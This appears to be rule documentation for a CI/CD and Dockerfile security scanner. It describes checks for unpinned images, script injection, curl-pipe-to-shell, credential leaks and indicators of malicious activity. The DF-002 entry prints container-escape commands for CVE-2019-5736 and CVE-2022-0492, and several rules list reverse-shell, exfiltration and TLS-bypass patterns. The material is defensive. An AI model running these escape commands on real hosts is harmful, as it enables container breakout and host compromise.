How this is detected. GitHub/Bitbucket webhook filter groups that fire on pull-request events will build forks by default. Because CodeBuild runs with the project's own IAM role (not the PR author's), a fork PR can execute arbitrary code with CI privileges and exfiltrate secrets. Restrict to known contributors with an ACTOR_ACCOUNT_ID pattern group.

Recommendation. Add an ACTOR_ACCOUNT_ID filter pattern to every webhook filter group that accepts PULL_REQUEST_CREATED / PULL_REQUEST_UPDATED / PULL_REQUEST_REOPENED, or remove those PR event types. Without actor filtering, any fork can trigger a build that runs with the project's service role.

Source: CB-010 in the AWS provider.

CB-011: CodeBuild buildspec contains indicators of malicious activity CRITICAL

Evidences: 4.1.3 Embedded malware in images.

How this is detected. Scans the source.buildspec text on every CodeBuild project for concrete attack indicators: reverse shells, base64-decoded execution, miner binaries/pools, Discord/Telegram webhooks, credential-dump pipes, audit-erasure commands. CB-011 is CRITICAL by design, a true positive is evidence of compromise, not a hygiene improvement. Repo-sourced buildspecs (not inlined) return NOT APPLICABLE because the text isn't visible to the scanner; CB-008 already flags the inline form as a governance gap.

Recommendation. Treat as a potential compromise. Identify which principal or pipeline ran the CodeBuild project recently, rotate its service role's credentials, audit CloudTrail for outbound activity to the matched hosts, and, if an inline buildspec is in use (CB-008), enforce repo-sourced buildspecs under branch protection so the next malicious edit requires a PR.

Known false positives.

  • Security-training repositories, CTF challenges, and red-team exercise pipelines legitimately contain reverse-shell strings or exfil domains as literals. Matches inside YAML keys / HCL attributes whose names contain example, fixture, sample, demo, or test are auto-suppressed; bare lines in a production pipeline still fire.
  • Defaults to LOW confidence. Filter with --min-confidence MEDIUM to ignore all matches; the rule still surfaces the hit for teams that want to spot-check.

Source: CB-011 in the AWS provider.

CC-001: Orb not pinned to exact semver HIGH 🔧 fix

Evidences: 4.1.5 Use of untrusted images, unpinned tags, unknown provenance.

How this is detected. Orb references in the orbs: block must include an @x.y.z suffix to lock a specific version. References without @, with @volatile, or with only a major (@1) or major.minor (@5.1) version float and can silently pull in malicious updates.

Recommendation. Pin every orb to an exact semver version (circleci/node@5.1.0). Floating references like @volatile, @1, or bare names without @ resolve to whatever is latest at build time, allowing a compromised orb update to execute in the pipeline.

Autofix. pipeline_check --fix will patch this finding automatically. Review the diff before committing; the fixer applies the conservative remediation pattern (e.g. swap a floating tag for the digest it currently resolves to), not the most aggressive one.

Source: CC-001 in the CircleCI provider.

CC-002: Script injection via untrusted environment variable HIGH

Evidences: 4.1.3 Embedded malware in images.

How this is detected. CircleCI exposes environment variables like $CIRCLE_BRANCH, $CIRCLE_TAG, and $CIRCLE_PR_NUMBER that are controlled by the event source (branch name, tag, PR). Interpolating them unquoted into run: commands allows shell injection via specially crafted branch or tag names.

Recommendation. Do not interpolate attacker-controllable environment variables (CIRCLE_BRANCH, CIRCLE_TAG, CIRCLE_PR_NUMBER, etc.) directly into shell commands. Pass them through an intermediate variable and quote them, or use CircleCI pipeline parameters instead.

Source: CC-002 in the CircleCI provider.

CC-003: Docker image not pinned by digest HIGH

Evidences: 4.1.5 Use of untrusted images, unpinned tags, unknown provenance.

How this is detected. Docker images referenced in docker: blocks under jobs or executors must include an @sha256:... digest suffix. Tag-only references (:latest, :18) are mutable and can be replaced at any time by whoever controls the upstream registry.

Recommendation. Pin every Docker image to its sha256 digest: cimg/node:18@sha256:abc123.... Tags like :latest or :18 are mutable, a registry compromise or upstream push silently replaces the image content.

Source: CC-003 in the CircleCI provider.

CC-005: AWS auth uses long-lived access keys in environment block MEDIUM 🔧 fix

Evidences: 4.1.4 Embedded clear-text secrets in images.

How this is detected. Long-lived AWS access keys declared directly in a job's environment: block are visible to anyone who can read the config. They cannot be rotated automatically and remain valid until manually revoked. OIDC-based federation yields short-lived credentials per build.

Recommendation. Remove AWS_ACCESS_KEY_ID / AWS_SECRET_ACCESS_KEY from the job environment: block. Use CircleCI's OIDC token with aws-cli/setup orb's role-based auth, or store credentials in a context with security group restrictions.

Autofix. pipeline_check --fix will patch this finding automatically. Review the diff before committing; the fixer applies the conservative remediation pattern (e.g. swap a floating tag for the digest it currently resolves to), not the most aggressive one.

Source: CC-005 in the CircleCI provider.

CC-008: Credential-shaped literal in config body CRITICAL 🔧 fix

Evidences: 4.1.4 Embedded clear-text secrets in images.

How this is detected. Every string in the config is scanned against a set of credential patterns (AWS access keys, GitHub tokens, Slack tokens, JWTs, Stripe, Google, Anthropic, etc.). A match means a secret was pasted into YAML, the value is visible in every fork and every build log and must be treated as compromised.

Recommendation. Rotate the exposed credential immediately. Move the value to a CircleCI project environment variable or a context and reference it via the variable name. For cloud access, prefer OIDC federation over long-lived keys.

Autofix. pipeline_check --fix will patch this finding automatically. Review the diff before committing; the fixer applies the conservative remediation pattern (e.g. swap a floating tag for the digest it currently resolves to), not the most aggressive one.

Known false positives.

  • Test fixtures and documentation blobs sometimes embed credential-shaped strings (JWT samples, AKIAI... examples). The AWS canonical example AKIAIOSFODNN7EXAMPLE is deliberately NOT suppressed, if it appears in a real pipeline it almost always means a copy-paste from docs was never substituted. Defaults to LOW confidence.

Source: CC-008 in the CircleCI provider.

CC-010: Self-hosted runner without ephemeral marker MEDIUM

Evidences: 4.4.3 Unbounded network access from containers, egress not restricted.

How this is detected. Self-hosted runners that persist between jobs leak filesystem and process state. A PR-triggered job writes to /tmp; a subsequent prod-deploy job on the same runner reads it. The check looks for resource_class values containing 'self-hosted', if found, it checks for 'ephemeral' in the value. Also checks for machine: true combined with a self-hosted resource class.

Recommendation. Configure self-hosted runners to tear down between jobs. Use a resource_class value that includes an ephemeral marker, or use CircleCI's machine executor with runner auto-scaling so each job gets a fresh environment.

Source: CC-010 in the CircleCI provider.

CC-012: Dynamic config via setup: true enables code injection MEDIUM

Evidences: 4.4.5 App vulnerabilities, untrusted code paths reached at runtime.

How this is detected. When setup: true is set at the top level, the config becomes a setup workflow. It generates the real pipeline config dynamically (typically via the circleci/continuation orb). An attacker who controls the setup job (e.g. via a malicious PR in a fork) can inject arbitrary config for all subsequent jobs, including deploy steps with production secrets.

Recommendation. If setup: true is required, restrict the setup job to a trusted branch filter and audit the generated config carefully. Ensure the continuation orb's configuration_path points to a checked-in file, not a dynamically generated one that could be influenced by PR content.

Source: CC-012 in the CircleCI provider.

CC-013: Deploy job in workflow has no branch filter MEDIUM

Evidences: 4.4.6 Rogue containers, unvetted images executed inside pipeline.

How this is detected. Without branch filters, a deploy job triggers on every branch push, including feature branches and forks. Restricting sensitive jobs to specific branches limits the blast radius of a compromised commit.

Recommendation. Add filters.branches.only to deploy-like workflow jobs so they only run on protected branches (e.g. main, release/*).

Source: CC-013 in the CircleCI provider.

CC-016: Remote script piped to shell interpreter HIGH 🔧 fix

Evidences: 4.1.3 Embedded malware in images.

How this is detected. Detects curl | bash, wget | sh, and similar patterns that pipe remote content directly into a shell interpreter inside a CircleCI config. An attacker who controls the remote endpoint (or poisons DNS / CDN) gains arbitrary code execution in the CI runner.

Recommendation. Download the script to a file, verify its checksum, then execute it. Or vendor the script into the repository.

Autofix. pipeline_check --fix will patch this finding automatically. Review the diff before committing; the fixer applies the conservative remediation pattern (e.g. swap a floating tag for the digest it currently resolves to), not the most aggressive one.

Known false positives.

  • Established vendor installers (get.docker.com, sh.rustup.rs, bun.sh/install, awscli.amazonaws.com, cli.github.com, ...) ship via HTTPS from their own CDN and are idiomatic. This rule defaults to LOW confidence so CI gates can ignore them with --min-confidence MEDIUM; the finding still surfaces so teams that want cryptographic verification can audit.

Source: CC-016 in the CircleCI provider.

CC-017: Docker run with insecure flags (privileged/host mount) CRITICAL 🔧 fix

Evidences: 4.1.2 Image configuration defects, privileged flags, insecure runtime settings, 4.4.4 Insecure container runtime configurations, privileged flag, host namespace sharing.

How this is detected. Flags like --privileged, --cap-add, --net=host, or host-root volume mounts (-v /:/) in a CircleCI config give the container full access to the runner, enabling container escape and lateral movement.

Recommendation. Remove --privileged and --cap-add flags. Use minimal volume mounts. Prefer rootless containers.

Autofix. pipeline_check --fix will patch this finding automatically. Review the diff before committing; the fixer applies the conservative remediation pattern (e.g. swap a floating tag for the digest it currently resolves to), not the most aggressive one.

Source: CC-017 in the CircleCI provider.

CC-018: Package install from insecure source HIGH 🔧 fix

Evidences: 4.1.5 Use of untrusted images, unpinned tags, unknown provenance.

How this is detected. Detects package-manager invocations that use plain HTTP registries (--index-url http://, --registry=http://) or disable TLS verification (--trusted-host, --no-verify) in a CircleCI config. These patterns allow man-in-the-middle injection of malicious packages.

Recommendation. Use HTTPS registry URLs. Remove --trusted-host and --no-verify flags. Pin to a private registry with TLS.

Autofix. pipeline_check --fix will patch this finding automatically. Review the diff before committing; the fixer applies the conservative remediation pattern (e.g. swap a floating tag for the digest it currently resolves to), not the most aggressive one.

Source: CC-018 in the CircleCI provider.

CC-020: No vulnerability scanning step MEDIUM

Evidences: 4.1.1 Image vulnerabilities, unpatched CVEs baked into images.

How this is detected. Without a vulnerability scanning step, known-vulnerable dependencies ship to production undetected. The check recognises trivy, grype, snyk, npm audit, yarn audit, safety check, pip-audit, osv-scanner, and govulncheck.

Recommendation. Add a vulnerability scanning step, trivy, grype, snyk test, npm audit, pip-audit, or osv-scanner. Publish results so vulnerabilities surface before deployment.

Source: CC-020 in the CircleCI provider.

CC-021: Package install without lockfile enforcement MEDIUM 🔧 fix

Evidences: 4.1.5 Use of untrusted images, unpinned tags, unknown provenance.

How this is detected. Detects package-manager install commands that do not enforce a lockfile or hash verification. Without lockfile enforcement the resolver pulls whatever version is currently latest, exactly the window a supply-chain attacker exploits.

Recommendation. Use lockfile-enforcing install commands: npm ci instead of npm install, pip install --require-hashes -r requirements.txt, yarn install --frozen-lockfile, bundle install --frozen, and go install tool@v1.2.3.

Autofix. pipeline_check --fix will patch this finding automatically. Review the diff before committing; the fixer applies the conservative remediation pattern (e.g. swap a floating tag for the digest it currently resolves to), not the most aggressive one.

Source: CC-021 in the CircleCI provider.

CC-023: TLS / certificate verification bypass HIGH 🔧 fix

Evidences: 4.2.1 Insecure connections to registries (no TLS / cert validation bypassed).

How this is detected. Detects patterns that disable TLS certificate verification: git config http.sslVerify false, NODE_TLS_REJECT_UNAUTHORIZED=0, npm config set strict-ssl false, curl -k, wget --no-check-certificate, PYTHONHTTPSVERIFY=0, and GOINSECURE=. Disabling TLS verification allows MITM injection of malicious packages, repositories, or build tools.

Recommendation. Remove TLS verification bypasses. Fix certificate issues at the source (install CA certificates, configure proper trust stores) instead of disabling verification.

Autofix. pipeline_check --fix will patch this finding automatically. Review the diff before committing; the fixer applies the conservative remediation pattern (e.g. swap a floating tag for the digest it currently resolves to), not the most aggressive one.

Source: CC-023 in the CircleCI provider.

CC-025: Cache key derives from attacker-controllable input MEDIUM

Evidences: 4.4.6 Rogue containers, unvetted images executed inside pipeline.

How this is detected. CircleCI's restore_cache falls through each listed key until it finds a hit. When one of those keys is derived from CIRCLE_BRANCH, CIRCLE_TAG, or CIRCLE_PR_*, values an attacker can set by opening a PR, the attacker can plant a cache entry that a protected job later uses. Uses checksum-of-lockfile or a static version label instead.

Recommendation. Derive save_cache and restore_cache keys from values the attacker can't control, the lockfile checksum ({{ checksum "package-lock.json" }}) and the build variant, not {{ .Branch }} or ${CIRCLE_PR_NUMBER}. A PR-scoped branch can seed a poisoned cache entry that a later main-branch run restores as trusted.

Source: CC-025 in the CircleCI provider.

CC-026: Config contains indicators of malicious activity CRITICAL

Evidences: 4.1.3 Embedded malware in images.

How this is detected. Fires on concrete indicators only (reverse shells, base64-decoded execution, miner binaries, Discord/Telegram webhooks, webhook.site callbacks, credential-dump pipes, history-erasure).

Recommendation. Treat as a potential compromise. Identify the PR that added the matching step(s), rotate any contexts/env vars the pipeline can reach, and audit recent CircleCI runs for outbound traffic to the matched hosts.

Known false positives.

  • Security-training repositories, CTF challenges, and red-team exercise pipelines legitimately contain reverse-shell strings or exfil domains as literals. Matches inside YAML keys / HCL attributes whose names contain example, fixture, sample, demo, or test are auto-suppressed; bare lines in a production pipeline still fire.
  • Defaults to LOW confidence. Filter with --min-confidence MEDIUM to ignore all matches; the rule still surfaces the hit for teams that want to spot-check.

Source: CC-026 in the CircleCI provider.

CC-027: Dangerous shell idiom (eval, sh -c variable, backtick exec) HIGH

Evidences: 4.1.3 Embedded malware in images.

How this is detected. Complements CC-002 (script injection from untrusted context). Fires on intrinsically risky shell idioms, eval, sh -c "$X", backtick exec, regardless of whether the input source is currently trusted.

Recommendation. Replace eval "$VAR" / sh -c "$VAR" / backtick exec with direct command invocation. Validate or allow-list any value that must feed a dynamic command at the boundary.

Known false positives.

  • eval "$(ssh-agent -s)" and similar eval "$(<literal-tool>)" bootstrap idioms are intentionally NOT flagged, the substituted command is literal, only its output is eval'd.

Source: CC-027 in the CircleCI provider.

CC-028: Package install bypasses registry integrity (git / path / tarball source) MEDIUM

Evidences: 4.1.5 Use of untrusted images, unpinned tags, unknown provenance.

How this is detected. Complements CC-021 (missing lockfile flag). Git URL installs without a commit pin, local-path installs, and direct tarball URLs bypass the registry integrity controls the lockfile relies on.

Recommendation. Pin git dependencies to a commit SHA. Publish private packages to an internal registry instead of installing from a filesystem path or tarball URL.

Source: CC-028 in the CircleCI provider.

CC-029: Machine executor image not pinned HIGH

Evidences: 4.1.5 Use of untrusted images, unpinned tags, unknown provenance.

How this is detected. CC-003 covers Docker images declared under docker: blocks. It does not reach the machine executor, where the image is on machine.image. A rolling tag (current, edge, default) pulls a fresh image whenever CircleCI publishes one, reintroducing the same supply-chain risk Docker-image pinning is designed to eliminate.

Recommendation. Pin every machine.image to a dated release tag, ubuntu-2204:2024.05.1 rather than :current, :edge, :default, or a bare image name. CircleCI rotates the current / edge aliases on its own cadence, so builds re-run on an image the author never reviewed.

Source: CC-029 in the CircleCI provider.

CP-003: Source stage using polling instead of event-driven trigger LOW

Evidences: 4.4.6 Rogue containers, unvetted images executed inside pipeline.

How this is detected. PollForSourceChanges=true polls the source repo every minute or two. Beyond the API-quota and latency cost, polling produces a less-useful CloudTrail story than event-driven triggers. You see the poll calls, not the specific commit that started the pipeline. EventBridge / CodeCommit triggers tie each pipeline start to the originating event.

Recommendation. Set PollForSourceChanges=false and configure an Amazon EventBridge rule or CodeCommit trigger to start the pipeline on change. This reduces latency, API usage, and improves auditability.

Known false positives.

  • PollForSourceChanges=true is the CFN default for CodeCommit sources, so legacy templates can carry the flag without an active design decision behind it. The rule is advisory (consider EventBridge / CodeStarSourceConnection) rather than a real risk; defaults to LOW confidence so CI gates default-filter it.

Source: CP-003 in the AWS provider.

CP-007: CodePipeline v2 PR trigger accepts all branches HIGH

Evidences: 4.4.6 Rogue containers, unvetted images executed inside pipeline.

How this is detected. V2 pipelines added native PR triggers; without a branches.includes filter, any PR, including fork PRs from outside the org, fires the pipeline. The build stage runs with whatever IAM authority the pipeline's role carries, which is the full attack surface a fork-PR compromise can reach.

Recommendation. On V2 pipelines, add an includes filter under the trigger's branches block (and optionally pullRequest.events) so only PRs targeting specific branches run. Without a filter, any fork-PR can execute the pipeline's build and deploy stages.

Source: CP-007 in the AWS provider.

DF-001: FROM image not pinned to sha256 digest HIGH 🔧 fix

Evidences: 4.1.5 Use of untrusted images, unpinned tags, unknown provenance.

How this is detected. Reuses _primitives/image_pinning.classify so the floating-tag semantics match GL-001 / JF-009 / ADO-009 / CC-003. PINNED_TAG (e.g. python:3.12.1-slim) is treated as unpinned here too, only an explicit @sha256: survives, since the tag is mutable on the registry side.

Recommendation. Resolve every base image to its current digest (docker buildx imagetools inspect <ref> prints it) and pin via FROM repo@sha256:<digest>. Automate refreshes with Renovate or Dependabot. A floating tag (:latest, :3, no tag) silently swaps the build base under every rebuild.

Autofix. pipeline_check --fix will patch this finding automatically. Review the diff before committing; the fixer applies the conservative remediation pattern (e.g. swap a floating tag for the digest it currently resolves to), not the most aggressive one.

Seen in the wild.

  • Docker Hub typosquatting / namespace-takeover incidents (2017 onward): docker-library Sysdig and Aqua research documented thousands of malicious images uploaded under near-miss names (alpine vs alphine, etc.) and occasional namespace recoveries shipping crypto-miners downstream. Digest-pinned consumers are immune; tag-pinned consumers pull whatever sits under the name today.
  • Codecov codecov/codecov-action tag-mutation incident (post-Codecov-Bash-uploader compromise): the upstream rotated the action's @v3 tag during the fallout, and consumers pinning to the tag silently re-ran a different build than before. Digest pinning would have surfaced the change as a checksum mismatch instead of a silent swap.

Source: DF-001 in the Dockerfile provider.

DF-002: Container runs as root (missing or root USER directive) HIGH 🔧 fix

Evidences: 4.1.2 Image configuration defects, privileged flags, insecure runtime settings, 4.4.4 Insecure container runtime configurations, privileged flag, host namespace sharing.

How this is detected. Multi-stage builds: only the final stage matters for runtime identity, since intermediate stages don't ship. The check scopes USER to the last FROM through end-of-file.

Recommendation. Add a USER <non-root> directive after package install steps (e.g. USER 1001 or USER appuser). Running as root inside a container is not isolation, a kernel CVE, a misconfigured mount, or a mis-applied capability collapses straight into the host.

Autofix. pipeline_check --fix will patch this finding automatically. Review the diff before committing; the fixer applies the conservative remediation pattern (e.g. swap a floating tag for the digest it currently resolves to), not the most aggressive one.

Seen in the wild.

  • CVE-2019-5736 (runC host breakout): a malicious container running as root could overwrite the host's runC binary and compromise every other container on the node. Non-root containers were not exploitable.
  • CVE-2022-0492 (cgroups v1 escape via release_agent): root inside a container with CAP_SYS_ADMIN could write to the host's release_agent file and execute arbitrary host code. Containers running as a non-root UID side-stepped the exploit class entirely.

Proof of exploit.

Vulnerable: image runs as root by default (no USER set).

FROM ubuntu:22.04 RUN apt-get update && apt-get install -y python3 COPY app.py /app/ CMD ["python3", "/app/app.py"]

Attack: when the container is breached (RCE in the app, a

kernel CVE, a misconfigured mount), the attacker runs as

UID 0. From there:

# CVE-2019-5736 path: overwrite /proc/self/exe to corrupt

# the host's runC binary — every container on the node

# the next launch executes attacker code on the host:

echo '#!/bin/sh\n/attacker_payload' > /proc/self/exe

# CVE-2022-0492 path: cgroup release_agent escape:

mkdir /tmp/cg && mount -t cgroup -o memory cgroup /tmp/cg

echo '/payload' > /tmp/cg/release_agent

echo 1 > /tmp/cg/notify_on_release

A non-root UID makes both paths fail at the first syscall.

Safe: drop to a dedicated unprivileged user.

FROM ubuntu:22.04 RUN apt-get update && apt-get install -y python3 \ && useradd --uid 1001 --create-home app COPY --chown=app:app app.py /app/ USER 1001 CMD ["python3", "/app/app.py"]

Source: DF-002 in the Dockerfile provider.

DF-003: ADD pulls remote URL without integrity verification HIGH

Evidences: 4.1.5 Use of untrusted images, unpinned tags, unknown provenance, 4.2.1 Insecure connections to registries (no TLS / cert validation bypassed).

How this is detected. ADD with a URL is the historical Dockerfile footgun: it fetches at build time over HTTP(S) with no checksum and no signature, and the registry tag does not pin the source. A tampered server or DNS hijack silently swaps the content. COPY is for local files; RUN curl + verify is for remote ones.

Recommendation. Replace ADD https://... with a multi-step RUN: download the file with curl -fsSLo, verify a known-good checksum (sha256sum -c) or signature (cosign verify-blob), then extract / install. Better still: download the artifact in a builder stage and COPY it across. That way the verifier runs once at build time, not per-pull.

Source: DF-003 in the Dockerfile provider.

DF-004: RUN executes a remote script via curl-pipe / wget-pipe HIGH

Evidences: 4.2.1 Insecure connections to registries (no TLS / cert validation bypassed).

How this is detected. Reuses _primitives/remote_script_exec.scan so the vocabulary matches the equivalent CI-side rules (GHA-016, GL-016, BB-012, ADO-016, CC-016, JF-016).

Recommendation. Download to a file, verify checksum or signature, then execute. curl -fsSL <url> -o /tmp/x.sh && sha256sum -c <(echo '<digest> /tmp/x.sh') && bash /tmp/x.sh. Vendor installers from well-known hosts (rustup.rs, get.docker.com, ...) are reported with vendor_trusted=true so reviewers can calibrate.

Source: DF-004 in the Dockerfile provider.

DF-005: RUN uses shell-eval (eval / sh -c on a variable / backticks) HIGH

Evidences: 4.4.5 App vulnerabilities, untrusted code paths reached at runtime.

How this is detected. Reuses _primitives/shell_eval.scan, same primitive used by GHA-028 / GL-026 / BB-026 / ADO-027 / CC-027 / JF-030 so the safe / unsafe vocabulary matches across the tool.

Recommendation. Replace eval "$X" and sh -c "$X" with explicit argv invocations. If the build genuinely needs a templated command, render it through a sealed config file or use RUN --mount=type=secret with explicit input. $( … ) / backticks should never wrap interpolated user-controlled vars inside a Dockerfile.

Source: DF-005 in the Dockerfile provider.

DF-006: ENV or ARG carries a credential-shaped literal value CRITICAL

Evidences: 4.1.4 Embedded clear-text secrets in images.

How this is detected. Reuses _primitives/secret_shapes, flags AKIA-prefixed AWS keys outright (the literal AWS access-key shape) and credential-named keys (API_KEY, DB_PASSWORD, SECRET_TOKEN) when the value is a non-empty literal.

Recommendation. Never hard-code credentials in a Dockerfile. ENV values are baked into the image layer history, even if the value is later overwritten, docker history --no-trunc reads the original. Use RUN --mount=type=secret for build-time secrets or runtime env injection (docker run -e SECRET=…) for runtime ones. Rotate any secret already exposed.

Source: DF-006 in the Dockerfile provider.

DF-008: RUN invokes docker --privileged or escalates capabilities HIGH

Evidences: 4.1.2 Image configuration defects, privileged flags, insecure runtime settings, 4.4.4 Insecure container runtime configurations, privileged flag, host namespace sharing.

How this is detected. Mirrors GHA-017 / GL-017 / BB-013 / ADO-017 / CC-017 / JF-017 (docker run --privileged in CI scripts) but at Dockerfile build time. The risk is subtler: a privileged RUN step doesn't directly elevate the resulting image, but it gives the build host's docker daemon a chance to escape, and any tampered base image can exploit the elevated build.

Recommendation. A Dockerfile build step almost never legitimately needs --privileged or --cap-add SYS_ADMIN / ALL. If the build genuinely requires elevated capabilities (e.g. compiling a kernel module), do it in a sealed builder image and COPY the artifact out, don't carry the privileged execution into the runtime image.

Source: DF-008 in the Dockerfile provider.

DF-010: apt-get dist-upgrade / upgrade pulls unknown package versions LOW

Evidences: 4.2.2 Stale images in registries, drift and unpatched images.

How this is detected. Running apt-get upgrade (or dist-upgrade) inside a Dockerfile is the classic pet-vs-cattle anti-pattern. Two back-to-back builds with the same Dockerfile can produce different images because the upstream archive moved between the two RUN invocations. dist-upgrade additionally relaxes dependency resolution. It can install / remove arbitrary packages to satisfy upgrades, so the resulting image's package set isn't even bounded by what the Dockerfile declares.

Recommendation. Drop the upgrade step. Build on a recent base image instead (rebuild your image when the base image gets a security patch, pin the base by digest per DF-001 so the rebuild is deterministic). apt-get install pkg=<version> for specific packages stays reproducible; upgrade / dist-upgrade does not.

Source: DF-010 in the Dockerfile provider.

DF-012: RUN invokes sudo HIGH

Evidences: 4.1.2 Image configuration defects, privileged flags, insecure runtime settings, 4.4.4 Insecure container runtime configurations, privileged flag, host namespace sharing.

How this is detected. sudo inside a Dockerfile is almost always a copy-paste from a host README. Its presence usually means one of three things, all of them wrong: (a) the build is silently running as root and the operator misread it, (b) the image carries an unrestricted sudoers line that a runtime escape can abuse, or (c) the package install chain depends on TTY-aware sudo behavior that breaks under non-TTY docker build. None of these cases benefit from keeping the directive.

Recommendation. Drop sudo from the RUN. Either the build is already running as root (the default before any USER directive), in which case sudo is no-op noise, or the build switched to a non-root USER and needs root for a specific step, in which case temporarily revert with USER root for that RUN and switch back afterward.

Source: DF-012 in the Dockerfile provider.

DF-013: EXPOSE declares sensitive remote-access port CRITICAL 🔧 fix

Evidences: 4.1.2 Image configuration defects, privileged flags, insecure runtime settings, 4.4.3 Unbounded network access from containers, egress not restricted.

How this is detected. EXPOSE is documentation, not a firewall. It doesn't actually open the port. But EXPOSE 22 is a strong signal the image runs sshd, and any remote-access daemon inside the container blows up the threat model: now you have an extra auth surface, an extra service to keep patched, and a way for a compromised app to phone home from the outside. The container runtime / orchestrator's exec path covers every operational use case sshd traditionally served.

Recommendation. Remove the EXPOSE line for the remote-access port. If the operator legitimately needs to reach the container, exec into it (docker exec / kubectl exec). That path uses the orchestrator's auth and audit, doesn't open a network port, and doesn't ship an extra daemon inside the image. Containers should not run sshd / telnetd / ftpd / rsh-d / vncd / RDP alongside the application.

Autofix. pipeline_check --fix will patch this finding automatically. Review the diff before committing; the fixer applies the conservative remediation pattern (e.g. swap a floating tag for the digest it currently resolves to), not the most aggressive one.

Source: DF-013 in the Dockerfile provider.

DF-014: WORKDIR set to a system / kernel filesystem path CRITICAL

Evidences: 4.1.2 Image configuration defects, privileged flags, insecure runtime settings.

How this is detected. Subsequent directives in the Dockerfile (COPY src dest, RUN writes, ADD …) resolve relative paths against the active WORKDIR. A WORKDIR /sys followed by COPY conf.txt config.txt writes into the kernel's sysfs surface, at best a build-time error, at worst a container-escape primitive that lets a compromised step manipulate cgroups, devices, or kernel config.

Recommendation. Move WORKDIR to a dedicated app directory (/app, /srv/app, /opt/<service>). System paths like /sys, /proc, /dev, /etc, / and the root home are not application directories, pointing the working dir at one means subsequent COPY / RUN writes target kernel-exposed namespaces or admin-only configuration.

Source: DF-014 in the Dockerfile provider.

DF-015: RUN grants world-writable permissions (chmod 777 / a+w) MEDIUM

Evidences: 4.1.2 Image configuration defects, privileged flags, insecure runtime settings.

How this is detected. World-writable directories under / are an established container-escape vector: any compromised process running as non-root can drop a payload that root-owned daemons later execute. The rule fires on the literal 777, a+w, and a+rwx modes; the more conservative 775 and ugo+x are not flagged.

Recommendation. Replace chmod 777 <path> with the narrowest permissions the workload actually needs. chmod 755 is enough for executables under a read-only root filesystem; 640 or 600 for files the runtime user reads. a+w is almost always copy-pasted from a SO answer and almost never the correct fix.

Known false positives.

  • Test fixtures or scratch builds that intentionally share a directory across multiple non-root users may legitimately use 777. Suppress with an ignore-file entry rather than weakening the rule.

Source: DF-015 in the Dockerfile provider.

DF-016: Image lacks OCI provenance labels LOW

Evidences: 4.1.5 Use of untrusted images, unpinned tags, unknown provenance.

How this is detected. The OCI image-spec annotation set is a small de facto standard maintained by the OCI working group. Only image.source and image.revision are checked because they're the two whose absence makes incident response materially harder; image.title / image.description are nice-to-have but the rule doesn't fire on those.

Recommendation. Add a LABEL line carrying at least org.opencontainers.image.source (the URL of the source repo) and org.opencontainers.image.revision (the commit SHA built into the image). Most registries surface those fields in the UI and on manifest inspect, which closes the source-to-image gap that GHA-006 / SLSA Build-L2 provenance attestation also addresses.

Known false positives.

  • A multi-stage build's intermediate stages don't need provenance labels, only the final image ships. The rule fires per Dockerfile, not per stage; suppress for files where the final FROM is intentional throwaway scratch.

Source: DF-016 in the Dockerfile provider.

DF-017: ENV PATH prepends a world-writable directory MEDIUM 🔧 fix

Evidences: 4.1.2 Image configuration defects, privileged flags, insecure runtime settings.

How this is detected. A writable PATH entry that comes before the system bins lets any process inside the container shadow ls, ps, apt-get, cat, etc. by dropping a binary of the same name into the writable dir. On a multi-tenant image, or any image where an exploit can reach the filesystem, this is a free privilege-escalation vector.

Recommendation. Don't put /tmp, /var/tmp, /dev/shm, or any other world-writable path in PATH ahead of the system binary directories. Drop those entries entirely, or place them at the tail (ENV PATH=/usr/bin:$PATH:/tmp) so legitimate binaries always shadow anything dropped into the writable dir at runtime.

Autofix. pipeline_check --fix will patch this finding automatically. Review the diff before committing; the fixer applies the conservative remediation pattern (e.g. swap a floating tag for the digest it currently resolves to), not the most aggressive one.

Source: DF-017 in the Dockerfile provider.

DF-018: RUN chown rewrites ownership of a system path MEDIUM

Evidences: 4.1.2 Image configuration defects, privileged flags, insecure runtime settings.

How this is detected. Recognises chown and chgrp invocations whose first non-flag path argument resolves under a system directory. The non-recursive case is also flagged because a single chown user /etc is just as harmful, the recursive flag matters for the size of the blast radius, not for whether it's wrong. Application paths under /opt, /srv, /var/lib/<app>, and /app are not flagged.

Recommendation. Don't chown system directories at build time. If the runtime user needs to own a workload-specific subtree, COPY --chown=<user>:<group> it into the image at the subtree root, or place the workload under a dedicated directory (e.g. /app, /srv/app) and chown only that path. Granting the runtime user write access to /etc, /usr, /sbin, or /lib lets a process exploit later steps to stage a binary the system trusts.

Source: DF-018 in the Dockerfile provider.

DF-019: COPY/ADD source path looks like a credential file HIGH 🔧 fix

Evidences: 4.1.4 Embedded clear-text secrets in images.

How this is detected. Fires on any COPY or ADD whose source basename is a well-known credential filename (id_rsa, .npmrc, .netrc, .env, terraform.tfvars, …) or whose path tail matches a canonical credential location (.aws/credentials, .docker/config.json, .kube/config). Files with private-key extensions (.pem, .key, .p12, .pfx, .jks) are also flagged. Globs are not expanded, the rule reads the literal source token.

Recommendation. Don't COPY credential files into an image. Anything baked into a layer is recoverable by anyone who can pull the image, even if a later step deletes the file. For build-time secrets (npm tokens, registry credentials, SSH deploy keys), use RUN --mount=type=secret,id=<name> so the value lives only for the duration of the step. For runtime secrets, mount them from the orchestrator (Kubernetes Secret, ECS task role, Vault sidecar) instead.

Autofix. pipeline_check --fix will patch this finding automatically. Review the diff before committing; the fixer applies the conservative remediation pattern (e.g. swap a floating tag for the digest it currently resolves to), not the most aggressive one.

Known false positives.

  • Empty placeholder files (.env shipped as a template, config.json carrying only public flags). Suppress with a brief .pipelinecheckignore rationale and prefer an explicit non-secret name (.env.example).

Source: DF-019 in the Dockerfile provider.

DF-020: ARG declares a credential-named build argument HIGH 🔧 fix

Evidences: 4.1.4 Embedded clear-text secrets in images.

How this is detected. Complements DF-006 (which flags an ENV/ARG with a literal credential-shaped value). This rule fires on the name alone, ARG NPM_TOKEN, ARG GITHUB_PAT, ARG DB_PASSWORD, even when no default is set, because BuildKit records the resolved value in the image's history the moment --build-arg supplies one. Names are matched via the same _primitives/secret_shapes regex used by the other secret-name rules.

Recommendation. Don't pass secrets through ARG. Build arguments are recorded in docker history whether the value comes from a default or from --build-arg at build time, so a credential-named ARG leaks the secret to anyone who can pull the image. Use RUN --mount=type=secret,id=<name> and feed the value with BuildKit's --secret flag, the secret never lands in a layer or in the build history.

Autofix. pipeline_check --fix will patch this finding automatically. Review the diff before committing; the fixer applies the conservative remediation pattern (e.g. swap a floating tag for the digest it currently resolves to), not the most aggressive one.

Known false positives.

  • An ARG whose name matches the regex but is a non-secret config knob (a counter-example like ARG TOKEN_LIMIT). Rare; rename or suppress the finding with a brief rationale.

